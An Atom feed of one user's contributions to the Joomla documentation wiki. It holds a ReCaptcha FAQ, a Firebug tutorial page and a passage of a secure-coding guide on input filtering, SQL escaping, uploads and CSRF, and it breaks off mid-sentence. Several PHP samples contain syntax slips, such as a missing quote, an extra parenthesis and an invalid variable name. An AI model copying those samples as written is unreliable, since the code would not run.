<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://docs.sandbox.joomla.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Rand486</id>
	<title>Joomla! Documentation - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://docs.sandbox.joomla.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Rand486"/>
	<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/Special:Contributions/Rand486"/>
	<updated>2026-06-11T15:55:32Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.43.0</generator>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:How_do_you_use_Recaptcha_in_Joomla%3F&amp;diff=67497</id>
		<title>Archived:How do you use Recaptcha in Joomla?</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:How_do_you_use_Recaptcha_in_Joomla%3F&amp;diff=67497"/>
		<updated>2012-06-05T14:20:11Z</updated>

		<summary type="html">&lt;p&gt;Rand486: How to enable Recaptcha on a Joomla 2.5 site&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Using Recaptcha is a great way of preventing bots from making fake accounts and content on your site.&lt;br /&gt;
&lt;br /&gt;
There are five steps to setting up Recaptcha:&lt;br /&gt;
&lt;br /&gt;
# Log in to your administrator back-end ([http://docs.joomla.org/Logging_in_or_out_of_the_Administrator_back-end How do I do this?])&lt;br /&gt;
# Go to Global Configuration, and select the &amp;quot;Site&amp;quot; tab.&lt;br /&gt;
#* Choose &amp;quot;Recaptcha&amp;quot; in your &amp;quot;Default Captcha&amp;quot; field.&lt;br /&gt;
#* Click Save &amp;amp; Close.&lt;br /&gt;
# Go to your Plug-In Manager.  You can find this under Extension Manager along the top menu or in the buttons on the main page of your Administrator panel.&lt;br /&gt;
# Edit the Plug-In &amp;quot;Captcha - ReCaptcha&amp;quot;&lt;br /&gt;
#* Set Status to &amp;quot;Published&amp;quot;&lt;br /&gt;
#* Copy and paste the Public and Private keys in their appropriate fields on the right.&lt;br /&gt;
#** Get the Public and Private keys by signing in with your Google account (create an account if you don&#039;t have one) here: [https://www.google.com/recaptcha/admin/create Create a reCAPTCHA key]&lt;br /&gt;
#** Register your website domain, and Google will provide you with your ReCaptcha keys.&lt;br /&gt;
#* Click Save &amp;amp; Close&lt;br /&gt;
&lt;br /&gt;
That&#039;s it!  You&#039;re done!&lt;br /&gt;
&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Administration FAQ]]&lt;br /&gt;
[[Category:Getting Started FAQ]]&lt;br /&gt;
[[Category:Version 2.5 FAQ]]&lt;/div&gt;</summary>
		<author><name>Rand486</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Using_Firebug_With_Your_Joomla_Website&amp;diff=64323</id>
		<title>Using Firebug With Your Joomla Website</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Using_Firebug_With_Your_Joomla_Website&amp;diff=64323"/>
		<updated>2012-01-16T16:23:28Z</updated>

		<summary type="html">&lt;p&gt;Rand486: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[http://getfirebug.com/ Firebug] is a free add-on program that works with the [http://www.mozilla.com/firefox/ Firefox] web browser. It is tremendously helpful when you are working with Joomla! websites. Firebug lets you:&lt;br /&gt;
* quickly find the exact CSS code that styles any HTML element on a page;&lt;br /&gt;
* quickly identify the HTML code for any element on a page;&lt;br /&gt;
* instantly see the effects of changes to HTML or CSS code on the appearance of the page.&lt;br /&gt;
&lt;br /&gt;
A free, narrated video tutorial called &amp;quot;Using Firebug With Your Joomla! Website&amp;quot; is available at the links below. To play the videos, just click on the links below. To download the video files to your local computer and play them locally, right-click each link in Firefox and select &amp;quot;Save Link As&amp;quot;. The contents of each video is as follows:&lt;br /&gt;
&lt;br /&gt;
[http://help.joomla.org/files/joomla_firebug_tutorial_part1.swf Part One with no subtitles] or &lt;br /&gt;
[http://community.joomla.org/videos/firebug_tutorial/firebug_tutorial_part1_english.swf Part One with English subtitles] (18 minutes) &lt;br /&gt;
* Install Firebug&lt;br /&gt;
* Firebug Layout&lt;br /&gt;
* Inspect Command&lt;br /&gt;
* Find Element From HTML&lt;br /&gt;
* Change CSS&lt;br /&gt;
* Add New CSS&lt;br /&gt;
* Explore Beez Template&lt;br /&gt;
* Beez Font Size Buttons&lt;br /&gt;
* Beez Tableless Design&lt;br /&gt;
* What&#039;s Next&lt;br /&gt;
&lt;br /&gt;
[http://help.joomla.org/files/joomla_firebug_tutorial_part2.swf Part Two with no subtitles] or &lt;br /&gt;
[http://community.joomla.org/videos/firebug_tutorial/firebug_tutorial_part2_english.swf Part Two with English subtitles] (13 minutes)&lt;br /&gt;
* Module Class Suffixes&lt;br /&gt;
* Menu Styling&lt;br /&gt;
* Module Class Suffix Parameter&lt;br /&gt;
* Page Class Suffix Parameter&lt;br /&gt;
* Add Inline CSS Property&lt;br /&gt;
* Apply Style to New CSS Class&lt;br /&gt;
* Firebug Help Resources&lt;br /&gt;
&lt;br /&gt;
[http://joomlacode.org/gf/download/frsrelease/10403/40595/firebug_tutorial.zip Click here] to download both tutorials in one Zip archive. Just unzip the archive and open the SWF files in your browser or SWF player.&lt;br /&gt;
&lt;br /&gt;
===Other Languages Available===&lt;br /&gt;
This tutorial is also available with subtitles in the following languages:&lt;br /&gt;
&lt;br /&gt;
Italian: [http://community.joomla.org/videos/firebug_tutorial/firebug_tutorial_part1_italian.swf Part One] [http://community.joomla.org/videos/firebug_tutorial/firebug_tutorial_part2_italian.swf Part Two]&lt;br /&gt;
&lt;br /&gt;
Dutch: [http://community.joomla.org/videos/firebug_tutorial/firebug_tutorial_part1_dutch.swf Part One] [http://community.joomla.org/videos/firebug_tutorial/firebug_tutorial_part2_dutch.swf Part Two]&lt;br /&gt;
&lt;br /&gt;
===Video Controls===&lt;br /&gt;
The videos have the following controls:&lt;br /&gt;
* Play / Pause&lt;br /&gt;
* Slider (to quickly position to any point in the video)&lt;br /&gt;
* Volume&lt;br /&gt;
* Table of Contents (pops up)&lt;br /&gt;
* Time Elapsed / Total Time&lt;br /&gt;
These are as shown in the picture below.&lt;br /&gt;
&lt;br /&gt;
[[Image:Video_tutorial_controls_20090315.png|center|frame]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Tutorials]]&lt;/div&gt;</summary>
		<author><name>Rand486</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Secure_coding_guidelines&amp;diff=64291</id>
		<title>Secure coding guidelines</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Secure_coding_guidelines&amp;diff=64291"/>
		<updated>2012-01-11T16:28:49Z</updated>

		<summary type="html">&lt;p&gt;Rand486: /* Constructing SQL queries */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Joomla Framework includes many features that help with the task of securing applications and extensions built on it.  You should always use these features if at all possible as they have been tried and tested by the many eyes of the developer community and any updates that might conceivably be required in the future will be automatically available whenever a Joomla update is applied.  What follows is a description of best practice in using the Joomla API to ensure that your extensions are as secure as possible.&lt;br /&gt;
&lt;br /&gt;
==Getting data from the request==&lt;br /&gt;
All input originating from a user must be considered potentially dangerous and must be cleaned before being used.  You should always use the Joomla Framework [[JRequest]] class to retrieve data from the request, rather than the raw $_GET, $_POST or $_REQUEST variables as the [[JRequest]] methods apply input filtering by default.  JRequest deals with all aspects of the user request in a way that is independent of the request method used.  It can also be used to retrieve cookie data and even server and environment variables.  However, it is important to use the correct [[JRequest]] method to ensure maximum security.  It is very easy to just use the [[JRequest/getVar|JRequest::getVar]] method with default parameters and ignore the fact that in many cases it is possible to apply a more stringent requirement on user input.&lt;br /&gt;
&lt;br /&gt;
It very important to understand that the [[JRequest]] methods are not SQL-aware and further work is required to guard against SQL injection attacks.There is no default value that will be returned if no default is specified in the call the [[JRequest/getVar|JRequest::getVar]].   If no default is specified and the argument is not present in the request variable then it will return undefined.&lt;br /&gt;
&lt;br /&gt;
Using [[JRequest]] also obviates the need to pay attention to the setting of magic_quotes_gpc.  [[JRequest]] does the right thing, regardless of whether magic_quotes_gpc is on or off.  See http://php.net/manual/en/security.magicquotes.php for further information.&lt;br /&gt;
&lt;br /&gt;
When considering user input you should think about the data type you are expecting to retrieve and apply the most stringent form of [[JRequest]] that is applicable in each case.  In particular, avoid the lazy approach of using [[JRequest/get|JRequest::get]] as this will return an array that may contain entries that you did not expect and although each of those entries will have been cleaned, it is often the case that additional filtering could have been applied to some individual arguments.  For example, the get method treats all arguments as strings, whereas it may be possible to restrict some arguments to be integers.&lt;br /&gt;
&lt;br /&gt;
The first three parameters of each of the JRequest get methods are the same.  Only the first parameter is mandatory.  In general, the format is&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
    JRequest::get&amp;lt;type&amp;gt;( &amp;lt;name&amp;gt;, &amp;lt;default&amp;gt;, &amp;lt;data-source&amp;gt; )&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
where&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;type&amp;gt; || the data type to be retrieved (see below for the types available).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;name&amp;gt; || the name of the variable to be retrieved (for example, the name of an argument in a URL).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;default&amp;gt; || the default value.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;data-source&amp;gt; || specifies where the variable is to be retrieved from (see below).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The following values for &amp;lt;data-source&amp;gt; are supported:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| GET || Data submitted in the query part of the URL.&lt;br /&gt;
|-&lt;br /&gt;
| POST || Data submitted from form fields.&lt;br /&gt;
|-&lt;br /&gt;
| METHOD || The same as either GET or POST depending on how the request was made.&lt;br /&gt;
|-&lt;br /&gt;
| COOKIE || Data submitted in cookies.&lt;br /&gt;
|-&lt;br /&gt;
| REQUEST || All the GET, POST and COOKIE data combined.  This is the default.&lt;br /&gt;
|-&lt;br /&gt;
| FILES || Information about files uploaded as part of a POST request.&lt;br /&gt;
|-&lt;br /&gt;
| ENV || Environment variables (platform-specific).&lt;br /&gt;
|-&lt;br /&gt;
| SERVER || Web server variables (platform-specific).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Notice that the default is REQUEST, which includes cookie data.&lt;br /&gt;
&lt;br /&gt;
The following sections look at each of the data types in more detail.&lt;br /&gt;
&lt;br /&gt;
===Integer===&lt;br /&gt;
The following will accept an integer.  An integer can include a leading minus sign, but a plus sign is not permitted.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$integer = JRequest::getInt( &#039;id&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
will return the value of the &amp;quot;id&amp;quot; argument from the request (which by default includes all GET, POST and COOKIE data).  The default value is zero.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$integer = JRequest::getInt( &#039;myId&#039;, 12, &#039;COOKIE&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
will return the value of the &amp;quot;myId&amp;quot; variable from a cookie, with a default value of 12.&lt;br /&gt;
&lt;br /&gt;
===Floating point number===&lt;br /&gt;
A floating point number can include a leading minus sign, but not a plus sign.  If the number includes a decimal point, then there must be at least one digit before the decimal point.  For example,&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$float = JRequest::getFloat( &#039;price&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
will return the value of the &#039;price&#039; argument from the request.  The default is &amp;quot;0.0&amp;quot;.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$float = JRequest::getFloat( &#039;total&#039;, 100.00, &#039;POST&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
will retrieve the value of the &#039;total&#039; argument from a POST request (but not a GET), with a default value of 100.00.&lt;br /&gt;
&lt;br /&gt;
===Boolean value===&lt;br /&gt;
Any non-zero value is regarded as being true; zero is false.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$boolean = JRequest::getBool( &#039;show&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
will return false if the value of the &#039;show&#039; argument in the request is zero, or 1 (true) if the argument is anything else.  The default is false.  Note that any string argument will result in a return value of true, so calling the above with a URL containing &amp;quot;?show=false&amp;quot; will actually return true!&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$boolean = JRequest::getBool( &#039;hide&#039;, true, &#039;GET&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
will retrieve the value of the &#039;hide&#039; argument from a GET request (but not a POST), with a default value of true.&lt;br /&gt;
&lt;br /&gt;
===Word===&lt;br /&gt;
A word is defined as being a string of alphabetic characters.  The underscore character is permitted as part of a word.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$word = JRequest::getWord( &#039;search-word&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
will retrieve the value of the &#039;search-word&#039; argument from the request.  The default is an empty string.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$word = JRequest::getWord( &#039;keyword&#039;, &#039;&#039;, &#039;COOKIE&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
will retrieve the value of the &#039;keyword&#039; variable from a cookie, with the default being an empty string.&lt;br /&gt;
&lt;br /&gt;
===Command===&lt;br /&gt;
A command is like a word but a wider range of characters is permitted.  Allowed characters are: all alphanumeric characters, dot, dash (hyphen) and underscore.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$command = JRequest::getCmd( &#039;option&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
will retrieve the value of the &amp;quot;option&amp;quot; argument from the request.  The default value is an empty string.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$command = JRequest::getCmd( &#039;controller&#039;, &#039;view&#039;, &#039;POST&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
will retrieve the value of the &amp;quot;controller&amp;quot; argument from a POST request (but not a GET), with a default value of &#039;view&#039;.&lt;br /&gt;
&lt;br /&gt;
===String===&lt;br /&gt;
The string type allows a much wider range of input characters.  It also takes an optional fourth argument specifying some additional mask options.  See [[#Filter options]] for information on the available masks.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$string = JRequest::getString( &#039;description&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
will retrieve the value of the &amp;quot;description&amp;quot; argument from the request.  The default value is an empty string.  The input will have whitespace removed from the left and right ends and any HTML tags will be removed.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$string = JRequest::getString( &#039;text&#039;, &#039;&#039;, &#039;METHOD&#039;, JREQUEST_NOTRIM );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
will retrieve the value of the &amp;quot;text&amp;quot; argument from the request..  The default value is an empty string.  Leading and trailing whitespace will not be removed.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$string = JRequest::getString( &#039;template&#039;, &#039;&amp;lt;html /&amp;gt;&#039;, &#039;METHOD&#039;, JREQUEST_ALLOWHTML );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
will retrieve the value of the &amp;quot;template&amp;quot; argument from the request.  The default value is &#039;&amp;lt;html /&amp;gt;&#039;.  Leading and trailing whitespace will be removed, but HTML will be permitted.&lt;br /&gt;
&lt;br /&gt;
===Generic and other data types===&lt;br /&gt;
If the above methods do not meet your needs, there is a small number of additional filter types which you can use by calling the [[JRequest/getVar|JRequest::getVar]] method directly.  The syntax is:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
JRequest::getVar( &amp;lt;name&amp;gt;, &amp;lt;default&amp;gt;, &amp;lt;data-source&amp;gt;, &amp;lt;type&amp;gt;, &amp;lt;options&amp;gt; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
where:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;name&amp;gt; || the name of the variable to be retrieved (for example, the name of an argument in a URL).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;default&amp;gt; || the default value.  There is no default value that will be returned if no default is specified in the call the [[JRequest/getVar|JRequest::getVar]].   If no default is specified and the argument is not present in the request variable then it will return undefined.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;data-source&amp;gt; || specifies where the variable is to be retrieved from (one of GET, POST, METHOD, COOKIE, REQUEST, ENV, SERVER; default is REQUEST).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;type&amp;gt; || specifies the data type expected (see below).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;options&amp;gt; || an optional bit-field used to specify options for some of the input filters (see below).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The first three arguments are the same as for the more specific methods described earlier.  Only the first argument is mandatory.&lt;br /&gt;
&lt;br /&gt;
Allowed values of the &amp;lt;type&amp;gt;, which is case-insensitive, are as follows:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| INT, INTEGER || Equivalent to [[JRequest/getInt|JRequest::getInt]].&lt;br /&gt;
|-&lt;br /&gt;
| FLOAT, DOUBLE || Equivalent to [[JRequest/getFloat|JRequest::getFloat]].&lt;br /&gt;
|-&lt;br /&gt;
| BOOL, BOOLEAN || Equivalent to [[JRequest/getBool|JRequest::getBool]].&lt;br /&gt;
|-&lt;br /&gt;
| WORD || Equivalent to [[JRequest/getWord|JRequest::getWord]].&lt;br /&gt;
|-&lt;br /&gt;
| ALNUM || Allow only alphanumeric characters (a-z, A-Z, 0-9).&lt;br /&gt;
|-&lt;br /&gt;
| CMD || Equivalent to [[JRequest/getCmd|JRequest::getCmd]].&lt;br /&gt;
|-&lt;br /&gt;
| BASE64 || Allow only those characters that could be present in a base64-encoded string (ie. a-z, A-Z, 0-9, /, + and =).&lt;br /&gt;
|-&lt;br /&gt;
| STRING || Equivalent to [[JRequest/getString|JRequest::getString]].&lt;br /&gt;
|-&lt;br /&gt;
| ARRAY || Source is not filtered but is cast to array type.&lt;br /&gt;
|-&lt;br /&gt;
| PATH || Valid pathname regex that filters out common attacks.  For example, any path beginning with a &amp;quot;/&amp;quot; will return an empty string.  Simliarly, any path containing &amp;quot;/./&amp;quot; or &amp;quot;/../&amp;quot; will return an empty string.  Dots within filenames are okay though.&lt;br /&gt;
|-&lt;br /&gt;
| USERNAME || Removes control characters (0x00 - 0x1F), 0x7F, &amp;lt;, &amp;gt;, &amp;quot;, &#039;, % and &amp;amp;.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Filter options===&lt;br /&gt;
Allowed values of &amp;lt;options&amp;gt; are as follows (none of these are applied by default):&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| JREQUEST_NOTRIM || Does not remove whitespace from the start and ends of strings.&lt;br /&gt;
|-&lt;br /&gt;
| JREQUEST_ALLOWRAW || Does not do any filtering at all.  Use with extreme caution.&lt;br /&gt;
|-&lt;br /&gt;
| JREQUEST_ALLOWHTML || Does not remove HTML from string inputs.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Masks can be combined by logically OR&#039;ing them.  If no filter options are specified, then by default, whitespace is trimmed and HTML is removed.&lt;br /&gt;
&lt;br /&gt;
===File uploads===&lt;br /&gt;
Web servers already have a good deal of security around handling file uploads, but it is still necessary to take additional steps to ensure that file names and paths cannot be abused.  A simplified form which requests a file to be uploaded looks like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form action=&amp;quot;index.php?option=com_mycomponent/form_handler.php&amp;quot;  method=&amp;quot;post&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;Filedata&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;submit&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
On clicking the submit button, the browser will upload the file in a POST request, passing control to Joomla which will call &amp;quot;components/com_mycomponent/form_handler.php&amp;quot;.  This will include code like the following.  The variable $somepath must be set to some path where the web server has permission to create files.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
// Check to ensure this file is included in Joomla!&lt;br /&gt;
defined(&#039;_JEXEC&#039;) or die( &#039;Restricted access&#039; );&lt;br /&gt;
&lt;br /&gt;
// Get the file data array from the request.&lt;br /&gt;
$file = JRequest::getVar( &#039;Filedata&#039;, &#039;&#039;, &#039;files&#039;, &#039;array&#039; );&lt;br /&gt;
&lt;br /&gt;
// Make the file name safe.&lt;br /&gt;
jimport(&#039;joomla.filesystem.file&#039;);&lt;br /&gt;
$file[&#039;name&#039;] = JFile::makeSafe($file[&#039;name&#039;]);&lt;br /&gt;
&lt;br /&gt;
// Move the uploaded file into a permanent location.&lt;br /&gt;
if (isset( $file[&#039;name&#039;] )) {&lt;br /&gt;
&lt;br /&gt;
    // Make sure that the full file path is safe.&lt;br /&gt;
    $filepath = JPath::clean( $somepath.&#039;/&#039;.strtolower( $file[&#039;name&#039;] ) );&lt;br /&gt;
&lt;br /&gt;
    // Move the uploaded file.&lt;br /&gt;
    JFile::upload( $file[&#039;tmp_name&#039;], $filepath );&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Saving a request variable into user state===&lt;br /&gt;
Because setting a user state variable from a variable in the request is such a common operation, there is an API method to make the task easier.  This is generally safe to use because it calls [JRequest/getVar|JRequest::getVar]] to obtain the input from the request, but remember that none of the input filtering calls will protect against SQL injection attempts.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$app =&amp;amp; JFactory::getApplication();&lt;br /&gt;
$app-&amp;gt;getUserStateFromRequest( &amp;lt;key&amp;gt;, &amp;lt;name&amp;gt;, &amp;lt;default&amp;gt;, &amp;lt;type&amp;gt; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
where&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;key&amp;gt; || the name of the variable in the user state.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;name&amp;gt; || the name of the request variable (same as the first argument of a [[JRequest/getVar|JRequest::getVar]] call).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;default&amp;gt; || the default value to be assigned to the user state variable if the request variable is absent.  The default is null.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;type&amp;gt; || the type of variable expected (same as the fourth argument of a [[JRequest/getVar|JRequest::getVar]] call).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
For example, getting an integer variable called &#039;id&#039; from the request with a default value of 0, then saving it into a session variable called &#039;myid&#039; can be done like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$app =&amp;amp; JFactory::getApplication();&lt;br /&gt;
$app-&amp;gt;getUserStateFromRequest( &#039;myid&#039;, &#039;id, 0, &#039;int&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
instead of something like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$app =&amp;amp; JFactory::getApplication();&lt;br /&gt;
$app-&amp;gt;setUserState( &#039;myid&#039;, JRequest::getInt( &#039;id&#039;, 0 ) );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Constructing SQL queries==&lt;br /&gt;
One of the most common forms of attack on web applications is SQL injection, where the aim of the attacker is to change a database query by exploiting a poorly filtered input variable.  Injecting modified SQL statements into the database can damage data or reveal private information.  It is important to ensure that when SQL statements are constructed, they are correctly escaped and quoted so that bad input data cannot result in a bad SQL statement.  You cannot rely on the [[JRequest]] methods to do this as they are not SQL-aware.&lt;br /&gt;
&lt;br /&gt;
With the MySQL database, numeric fields should not be quoted, so it is important that they be typecast instead.  Failure to do this will leave your code vulnerable to an attacker inserting a string containing SQL data.&lt;br /&gt;
&lt;br /&gt;
Depending on the type, numeric types are cast like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
// For SQL data types: INT, INTEGER, TINYINT, SMALLINT, MEDIUMINT, BIGINT, YEAR&lt;br /&gt;
$query = &#039;SELECT * FROM #__table WHERE `id`=&#039; . (int) $id;&lt;br /&gt;
// For SQL data types: FLOAT, DOUBLE&lt;br /&gt;
$query = &#039;SELECT * FROM #__table WHERE `id`=&#039; . (float) $id;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
It&#039;s a good idea to get into the habit of always typecasting integers like this even if the variable was previously obtained using [[Further information on SQL injection attacks can be found here: http://php.net/manual/en/security.database.sql-injection.php and here: [[JRequest/getInt|JRequest::getInt]].&lt;br /&gt;
&lt;br /&gt;
In the examples that follow it is assumed that $db is an instance of a Joomla database object.  This can always be obtained from [[JFactory]] using&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$db =&amp;amp; JFactory::getDBO();&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Strings should always be escaped before being used in an SQL statement.  This is actually very simple as the [[JDatabase-&amp;gt;quote]] method escapes everything for you.  You can also use the [[JDatabase-&amp;gt;getEscaped]] method directly.  The following statements are equivalent:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$query = &#039;SELECT * FROM #__table WHERE `field` = &#039; . $db-&amp;gt;quote( $db-&amp;gt;getEscaped( $field ), false );&lt;br /&gt;
&lt;br /&gt;
$query = &#039;SELECT * FROM #__table WHERE `field` = &#039; . $db-&amp;gt;quote( $field );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Special attention should be paid to LIKE clauses which contain the % wildcard character as these require special escaping in order to avoid possible denial of service attacks.  LIKE clauses can be handled like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
// Construct the search term by escaping the user-supplied string and, if required, adding the % wildcard characters manually.&lt;br /&gt;
$search = &#039;%&#039; . $db-&amp;gt;getEscaped( $search, true ) . &#039;%&#039; );&lt;br /&gt;
&lt;br /&gt;
// Construct the SQL query, being careful to suppress the default behaviour of Quote so as to prevent double-escaping.&lt;br /&gt;
$query = &#039;SELECT * FROM #__table WHERE `field` LIKE &#039; . $db-&amp;gt;quote( $search, false );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
If data is to be entered into a datetime column then you can use the Joomla API to ensure a valid date format:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$date =&amp;amp; JFactory::getDate( $mydate );&lt;br /&gt;
$query = &#039;UPDATE #__table SET `date` = &#039; . $db-&amp;gt;quote( $date-&amp;gt;toMySQL(), false );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Note that it is necessary to suppress database escaping as legitimate dates may contain characters that should not be escaped.&lt;br /&gt;
&lt;br /&gt;
In the comparatively rare case where a field name is a variable, that should also be quoted using an API call:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$query = &#039;SELECT * FROM #__table WHERE &#039; . $db-&amp;gt;NameQuote( $field-name ) . &#039;=&#039; . $db-&amp;gt;quote( $field-value );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Securing forms==&lt;br /&gt;
Apart from cleaning input variables as described above, you can also implement a simple technique which makes it more difficult for a cross-site request forgery attack (CSRF) to succeed. This involves adding a randomly-generated unique token to the form which is checked against a copy of the token held in the user&#039;s session.  By checking that the submitted token matches the one contained in the stored session, it is possible to tie a rendered form to the request variables presented.&lt;br /&gt;
&lt;br /&gt;
In POST forms you should add a hidden token field using:&lt;br /&gt;
